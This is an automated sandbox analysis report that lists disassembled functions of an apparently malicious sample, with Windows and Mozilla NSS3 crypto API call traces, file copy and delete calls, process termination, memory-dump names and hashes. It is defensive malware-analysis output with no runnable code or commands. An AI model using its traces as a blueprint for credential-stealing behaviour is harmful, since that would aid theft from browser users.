Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: f02e003f40ccda98acd13c2b8f3c98b948431f737af50c4397d723e3c4a7c25f
Instruction ID: edb2db5a2bf94650a14078f3ea813b9d2c24fbf8f3ae056e835e2938f7a1fb9a
Opcode Fuzzy Hash: f02e003f40ccda98acd13c2b8f3c98b948431f737af50c4397d723e3c4a7c25f
Instruction Fuzzy Hash: E5016D392032449BDB209F589A4EA5633B5AB8331EF494435E80896E11DF74A859C6D1

Function 00418EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,004196AE,00000000), ref: 00418EEB
HeapAlloc.KERNEL32(00000000,?,?,004196AE,00000000), ref: 00418EF2
wsprintfW.USER32 ref: 00418F08

Strings

%hs, xrefs: 00418EFF

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: a2d1222b377fc3304f55ce0aa2500adad0c2a2d90715c5043ce73364ad1d5f17
Instruction ID: abe7276d6e58fd7f286e9bcc6e4dd5022fdd169b0d4b331efbe0e5b16b2cc016
Opcode Fuzzy Hash: a2d1222b377fc3304f55ce0aa2500adad0c2a2d90715c5043ce73364ad1d5f17
Instruction Fuzzy Hash: 47E08C70E49308BBDB00DB94ED0AF6D77B8EB44302F000196FD0987340EA719F008B96

Function 0040D500 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,00859578,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D581
lstrlenA.KERNEL32(00000000), ref: 0040D798
lstrlenA.KERNEL32(00000000), ref: 0040D7AC
DeleteFileA.KERNEL32(00000000), ref: 0040D82B

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 28c7f121f82cadd966f07e3cc58e022b32bd2e003b85d079a7c39ce29b4a89cf
Instruction ID: cd95120e3309aa2a4ee5e09d67847ecab6e8b781cb92854c7d2ac691bd2160a2
Opcode Fuzzy Hash: 28c7f121f82cadd966f07e3cc58e022b32bd2e003b85d079a7c39ce29b4a89cf
Instruction Fuzzy Hash: CF911672E111089BCB04FBA1EC66DEE7339AF14314F50456EF11672095EF387A98CB6A

Function 6C791D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C791D8F

Part of subcall function 6C7814C0: TlsGetValue.KERNEL32 ref: 6C7814E0
Part of subcall function 6C7814C0: EnterCriticalSection.KERNEL32 ref: 6C7814F5
Part of subcall function 6C7814C0: PR_Unlock.NSS3 ref: 6C78150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C791DA6

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C791E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C791ED0

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: f29164459d7f88ab85f36619a090b0897f9c156fc41b049fa7820e1ab41b1745
Instruction ID: 44cdad63f14b4a28db48ec27d869b98a016210074fd30540d32876c85317784a
Opcode Fuzzy Hash: f29164459d7f88ab85f36619a090b0897f9c156fc41b049fa7820e1ab41b1745
Instruction Fuzzy Hash: 9A518875A00309CFDB10CF98D988BAEB7BAFF49319F144129E8199B751D731E954CB90

Function 6C793D40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,-0000002C,?,6C79127F,?), ref: 6C793D89

Part of subcall function 6C7906F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C792E70,00000000), ref: 6C790701

SECOID_FindOID_Util.NSS3(FFFFFFFF,?), ref: 6C793DD3

Part of subcall function 6C7807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C728298,?,?,?,6C71FCE5,?), ref: 6C7807BF
Part of subcall function 6C7807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7807E6
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C78081B
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C780825

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Error$HashLookupTableUtil$Alloc_ConstFind
String ID:
API String ID: 99596740-0
Opcode ID: 4e7b1646c55f4f47f9d0a0612e38da5f4a9dd46c86a49797764bb0bdab7a8e82
Instruction ID: a6bb78018379b3ae9cc6cb0f7464d46c40a293976f99ba0bccfa8c2edd399a7b
Opcode Fuzzy Hash: 4e7b1646c55f4f47f9d0a0612e38da5f4a9dd46c86a49797764bb0bdab7a8e82
Instruction Fuzzy Hash: CB313B3560651497FB148619FB65B5A7259EB4236CF240636DF2DC7FE1EB21EC4083C2

Function 6C7F7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7F7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7F7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7F7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C7F7ED8

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 9268ac05b16fbd93c00560299b1e76be8ae60a709b61a1cbc28cff5079f98e07
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: F831A4B2A001118FDB04CF08CD9099ABBA6BF8831871B857AC8585B711EB71EC46CBD1

Function 6C792C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6C791289,?), ref: 6C792D72

Part of subcall function 6C793390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6C792CA7,E80C76FF,?,6C791289,?), ref: 6C7933E9
Part of subcall function 6C793390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6C79342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C791289,?), ref: 6C792D61

Part of subcall function 6C790B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C790B21
Part of subcall function 6C790B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C790B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6C791289,?), ref: 6C792D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C791289,?), ref: 6C792DAF

Part of subcall function 6C74B8F0: PR_CallOnceWithArg.NSS3(6C882178,6C74BCF0,?), ref: 6C74B915
Part of subcall function 6C74B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6C74B933
Part of subcall function 6C74B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6C74B9C8
Part of subcall function 6C74B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C74B9E1

Part of subcall function 6C790A50: SECOID_GetAlgorithmTag_Util.NSS3(6C792A90,E8571076,?,6C792A7C,6C7921F1,?,?,?,00000000,00000000,?,?,6C7921DD,00000000), ref: 6C790A66

Part of subcall function 6C793310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6C792D1E,?,?,?,?,00000000,?,?,?,?,?,6C791289), ref: 6C793348

Part of subcall function 6C7906F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C792E70,00000000), ref: 6C790701

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: e725939b9e85d1c6ee68fea33c1b80032f9ed683e0aa2c19fc56b585787acff7
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: BF310AB6901601ABDB00AE64FE4DE9A7769BF4531DF140130ED189BBA1E731E918C7E2

Function 6C726C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C726C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C726CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C726CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C848FE0), ref: 6C726CFE

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 0916e734716782fbb7f35d80d89b787806e1828b5ca4c75f5f1ed53fa409a5e6
Instruction ID: 7afdc0be7d036c8825b8701e9bb48fd39798000eb5c1a8908b7562fe8c20de68
Opcode Fuzzy Hash: 0916e734716782fbb7f35d80d89b787806e1828b5ca4c75f5f1ed53fa409a5e6
Instruction Fuzzy Hash: F531B2B1A0021A9FDB04DF65C985ABFBBF5EF45248F10443ED905D7700EB35A905CBA0

Function 00419660 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041967B

Part of subcall function 00418EE0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,004196AE,00000000), ref: 00418EEB
Part of subcall function 00418EE0: HeapAlloc.KERNEL32(00000000,?,?,004196AE,00000000), ref: 00418EF2
Part of subcall function 00418EE0: wsprintfW.USER32 ref: 00418F08

OpenProcess.KERNEL32(00001001,00000000,?), ref: 0041973B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419759
CloseHandle.KERNEL32(00000000), ref: 00419766

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 82399361bd33b1cf0f2f2efae6d7ff06a364100a0860e5f280d97042be913252
Instruction ID: 560ccd148ccd609fdd46163d5cc95655726043f4ba77f136f2594cdeec1b1660
Opcode Fuzzy Hash: 82399361bd33b1cf0f2f2efae6d7ff06a364100a0860e5f280d97042be913252
Instruction Fuzzy Hash: C4315BB1E01208DBDB14DFE0DD49BEDB779BF44700F10445AF506AB284EB786A88CB56

Function 6C796DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C796E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C796E57

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C796E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C796EAA

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 8a08bcaef1b4fd25bd1a0ac8c17f6cf7a5f54d8fc960049de42a5ec39d3f8820
Instruction ID: 7e4a9d817380dc296c329ab1977b441871943e6adff22bb0ece731a144b5d748
Opcode Fuzzy Hash: 8a08bcaef1b4fd25bd1a0ac8c17f6cf7a5f54d8fc960049de42a5ec39d3f8820
Instruction Fuzzy Hash: D931D272610512EFDB941F34EF09396B7A8BB0531AF14073CD499D6A41EB30AA54CFC1

Function 6C77DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C77DDB1,?,00000000), ref: 6C77DDF4

Part of subcall function 6C7814C0: TlsGetValue.KERNEL32 ref: 6C7814E0
Part of subcall function 6C7814C0: EnterCriticalSection.KERNEL32 ref: 6C7814F5
Part of subcall function 6C7814C0: PR_Unlock.NSS3 ref: 6C78150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C77DDB1,?,00000000), ref: 6C77DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C77DDB1,?,00000000), ref: 6C77DE17

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C77DE80

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 2a59247ef9a2d155a5532553dd0f3dac519b69dda4f6b17dc4d739b5ccaa838d
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 8831E7B19017469BEB11CF16C984A56F7A8BFB5318B248239D91C87B01E7B0E0A4CBA1

Function 6C7A0C00 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

PK11_DigestOp.NSS3(?,?,00000004), ref: 6C7A0C43

Part of subcall function 6C74DEF0: TlsGetValue.KERNEL32 ref: 6C74DF37
Part of subcall function 6C74DEF0: EnterCriticalSection.KERNEL32(?), ref: 6C74DF4B
Part of subcall function 6C74DEF0: PR_SetError.NSS3(00000000,00000000), ref: 6C74E02B
Part of subcall function 6C74DEF0: PR_Unlock.NSS3(?), ref: 6C74E07E

PK11_DigestOp.NSS3(?,?,00000008), ref: 6C7A0C85
PK11_DigestOp.NSS3(?,?,?), ref: 6C7A0C9F
PR_SetError.NSS3(FFFFD07F,00000000), ref: 6C7A0CB4

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: DigestK11_$Error$CriticalEnterSectionUnlockValue
String ID:
API String ID: 3186484790-0
Opcode ID: 80fbefce73436a0011d1e43d7f794af9bc99a8d3a506ed08537c6b871004fab9
Instruction ID: a022f93057de8d5d5e89104d3acd362b55e1e48726c36a7510c9d5551863de16
Opcode Fuzzy Hash: 80fbefce73436a0011d1e43d7f794af9bc99a8d3a506ed08537c6b871004fab9
Instruction Fuzzy Hash: 2E213871604286AFC701CB68D909FDABBA4AF25204F09C5B8E9445F712E631D828C7E6

Function 6C792DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C792E08

Part of subcall function 6C7814C0: TlsGetValue.KERNEL32 ref: 6C7814E0
Part of subcall function 6C7814C0: EnterCriticalSection.KERNEL32 ref: 6C7814F5
Part of subcall function 6C7814C0: PR_Unlock.NSS3 ref: 6C78150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C792E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C792E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C792E95

Part of subcall function 6C781200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7288A4,00000000,00000000), ref: 6C781228
Part of subcall function 6C781200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C781238
Part of subcall function 6C781200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7288A4,00000000,00000000), ref: 6C78124B
Part of subcall function 6C781200: PR_CallOnce.NSS3(6C882AA4,6C7812D0,00000000,00000000,00000000,?,6C7288A4,00000000,00000000), ref: 6C78125D
Part of subcall function 6C781200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C78126F
Part of subcall function 6C781200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C781280
Part of subcall function 6C781200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C78128E
